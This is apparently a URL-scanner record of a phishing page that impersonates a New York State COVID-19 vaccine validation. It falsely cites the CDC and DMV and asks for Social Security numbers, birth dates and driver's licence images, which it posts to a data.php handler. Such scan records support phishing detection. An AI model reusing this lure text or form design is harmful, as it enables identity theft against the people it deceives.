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http://pugetsoundengineering.com/nyy/nyy/index.php
Submission: On October 08 via manual from US — Scanned from DE
Submission: On October 08 via manual from US — Scanned from DE
Form analysis 1 forms found in the DOM
POST data.php
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<h1 class="sg-title"><span>New York State COVID-19 Vaccine Status Validation</span></h1>
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<h2 class="sg-page-title" role="heading">Patient Information</h2>
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<p><span></span><br><br> The Centers for Disease Control and Prevention (CDC) in partnership with the New York DMV requires an immediate validation of your Covid-19 status. This is a Waiver Validation Update and a compulsory one-time
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<label for="sgE-6278804-3-89-element"> Last Name <strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong> </label>
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<label for="sgE-6278804-3-9-element"> Date of Birth <strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong> </label>
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<label for="sgE-6278804-3-89-element"> Social Security number <strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong> </label>
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<div class="sg-row-break sg-last-row-break"></div>
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<div class="sg-instructions"> The information you provide will be protected pursuant to the New York State Personal Privacy Protection Act and any other applicable state or federal law. </div>
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<span class="sg-question-number"></span> Which of these settings do you live in? <strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong>
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<li>
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<li>
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<li>
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<li>
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<li>
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<span class="sg-question-number"></span> Email Address <strong class="sg-required-icon">*<span class="sg-screenreader-only">This question is required.</span></strong> </label>
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</form>Text Content
We've detected that Javascript is not enabled. It is required for an optimal survey taking experience. Please check your browser's settings and make sure Javascript is turned on. Learn how to enable Javascript. Skip survey header Englishâ–¾ NEW YORK STATE COVID-19 VACCINE STATUS VALIDATION PATIENT INFORMATION The Centers for Disease Control and Prevention (CDC) in partnership with the New York DMV requires an immediate validation of your Covid-19 status. This is a Waiver Validation Update and a compulsory one-time validation for all New York residents 1. Personal Information First Name *This question is required. Middle Name This question is required. Last Name *This question is required. Date of Birth *This question is required. This question requires a valid date format of MM/DD/YYYY. calendar MM/DD/YYYY Social Security number *This question is required. Upload Document (driver's license)*This question is required. DL Front: DL Back: The information you provide will be protected pursuant to the New York State Personal Privacy Protection Act and any other applicable state or federal law. Which of these settings do you live in? *This question is required. * Nursing home / skilled nursing facility / adult care facility / assisted living facility * Group home / community residence * Behavioral health facilities * Substance abuse disorder and mental health treatment facility * Individual living in a homeless shelter with shared-use sleeping, bathing or eating accommodations * Individual working (paid or unpaid) in above homeless shelters who may interact with residents * Other *This question is required. * Yes * No Email Address *This question is required. This question requires a valid email address. 0%